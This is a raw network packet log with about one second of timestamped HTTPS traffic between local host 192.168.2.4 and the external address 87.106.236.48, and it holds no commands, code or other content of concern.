Oct 29, 2024 04:17:35.863137007 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.863168001 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.863189936 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.865034103 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.865081072 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.865104914 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.865119934 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.865149021 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.865231991 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.865282059 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.865289927 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.865309954 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.865343094 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.865364075 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.865616083 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.865655899 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.865672112 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.865686893 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.865731955 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.865731955 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.866121054 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.866166115 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.866189003 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.866203070 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.866228104 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.866267920 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.866398096 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.866439104 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.866461992 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.866476059 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.866503954 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.866523027 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.866739035 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.866780996 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.866806030 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.866818905 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.866847038 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.866863966 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.867240906 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.867284060 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.867310047 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.867345095 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.867374897 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.867480040 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.867480040 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.867507935 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.867537975 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.867553949 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.867558956 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.867578983 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.867613077 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.867651939 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.867796898 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.867837906 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.867922068 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.867934942 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.867984056 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.868004084 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.893163919 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.893212080 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.893383980 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.893402100 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.893584967 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.893630028 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.893652916 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.893670082 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.893697023 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.893714905 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.894268990 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.894311905 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.894347906 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.894377947 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.894406080 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.894521952 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.894577980 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.894593954 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.894610882 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.894643068 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.894668102 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.894748926 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.894807100 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.894809008 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.894831896 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.894866943 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.894890070 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.940439939 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.940485954 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.940680027 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.940680027 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.940700054 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.940884113 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.940932035 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.940949917 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.940965891 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.940993071 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.941013098 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.941379070 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.941446066 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.941453934 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.941479921 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.941525936 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.941549063 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.980586052 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.980631113 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.980715990 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.980739117 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.980767012 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.980786085 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.981955051 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.982000113 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.982075930 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.982091904 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.982474089 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.982521057 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.982554913 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.982568979 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.982619047 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.983447075 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.983493090 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.983527899 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.983542919 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.983577013 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.983604908 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.983666897 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.983730078 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.983748913 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.983819962 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.983988047 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.984030962 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.984054089 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.984066963 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.984098911 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.984117985 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.984419107 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.984478951 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.984498978 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.984571934 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.984730959 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.984800100 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.984818935 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.984886885 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.985080957 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.985132933 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.985143900 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.985173941 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.985193968 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.985223055 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.985385895 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.985431910 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.985449076 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.985464096 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.985488892 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.985611916 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.985671997 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.985688925 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.985704899 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.985735893 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.985764980 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.010659933 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.010701895 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.010773897 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.010797024 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.010818005 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.011040926 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.011085033 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.011109114 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.011123896 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.011149883 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.011176109 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.011373043 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.011415005 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.011430979 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.011444092 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.011473894 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.011492968 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.011851072 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.011913061 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.011921883 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.011945963 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.011976957 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.011998892 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.012141943 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.012182951 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.012202024 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.012214899 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.012243986 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.012264967 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.054811001 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.054853916 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.054930925 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.054964066 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.054989100 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.055485964 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.058595896 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.058669090 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.058691025 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.058708906 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.058736086 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.058757067 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.058923006 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.058979988 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.058990955 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.059015989 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.059040070 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.059062004 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.097626925 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.097676992 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.097714901 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.097735882 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.097784042 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.097784042 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.097997904 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.098037004 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.098056078 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.098068953 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.098097086 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.098119974 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.099977016 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.100044966 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.100052118 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.100079060 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.100111008 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.100132942 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.100370884 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.100416899 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.100436926 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.100450039 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.100478888 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.100498915 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.100717068 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.100760937 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.100781918 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.100795031 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.100822926 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.100842953 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.101044893 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.101102114 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.101115942 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.101136923 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.101171970 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.101193905 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.101465940 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.101524115 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.101547956 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.101567030 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.101588964 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.101613998 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.101835966 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.101876974 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.101896048 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.101910114 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.101953983 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.101978064 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.102037907 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.102080107 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.102101088 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.102113008 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.102138042 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.102157116 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.102547884 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.102590084 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.102618933 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.102632999 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.102660894 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.102679014 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.102885008 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.102929115 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.102953911 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.102972984 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.102994919 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.103066921 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.103116989 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.103120089 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.103142977 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.103171110 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.103194952 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.128122091 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.128165960 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.128231049 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.128252983 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.128274918 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.128294945 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.128381968 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.128443956 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.128457069 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.128479958 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.128506899 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.128525972 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.128824949 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.128885984 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.128926992 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.128990889 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.129133940 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.129177094 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.129192114 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.129206896 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.129235983 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.129251957 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.129530907 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.129623890 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.129637003 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.129652977 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.129681110 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.129699945 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.172487020 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.172533989 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.172569036 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.172585011 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.172620058 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.172620058 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.176286936 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.176333904 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.176359892 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.176374912 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.176400900 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.176486015 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.176537991 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.176542997 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.176579952 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.176598072 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.176831961 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.176872015 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.176889896 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.176907063 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.176933050 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.176949978 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.215845108 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.215948105 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.215959072 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.215991020 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.216026068 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.217127085 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.217189074 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.217205048 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.217236042 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.217298985 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.217314005 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.217364073 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.217581034 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.217622995 CET	443	49761	87.106.236.48	192.168.2.4
